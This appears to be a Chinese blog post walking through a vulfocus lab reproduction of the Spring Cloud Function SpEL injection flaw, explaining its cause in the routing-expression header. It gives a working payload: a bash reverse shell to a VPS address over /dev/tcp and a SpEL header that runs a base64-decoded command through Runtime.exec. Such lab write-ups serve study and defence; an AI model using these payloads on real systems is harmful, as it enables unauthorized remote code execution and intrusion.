vulfocus复现:Spring Cloud Function SPEL 远程代码执行

影响范围:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

原理:

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
当其启用动态路由functionRoute时,HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞。

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码

复现

开启靶场环境:

 访问靶场环境并抓包,修改GET请求为POST请求,请求体随意,payload是spring.cloud.function.routing-expression:中的内容,这里是反弹shell

bash -i >& /dev/tcp/vpsIP地址/12345 0>&1
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}")

POST的内容需要写在上边。

 总结:此漏洞可以造成远程执行任意代码,高危且利用简单。


如果可以帮助到你,劳烦点点赞哦!

声明: 本文章仅供学习使用,不得用于未授权的渗透测试,禁止用于非法用途。

猜你喜欢

转载自blog.csdn.net/woai_zhongguo/article/details/125854105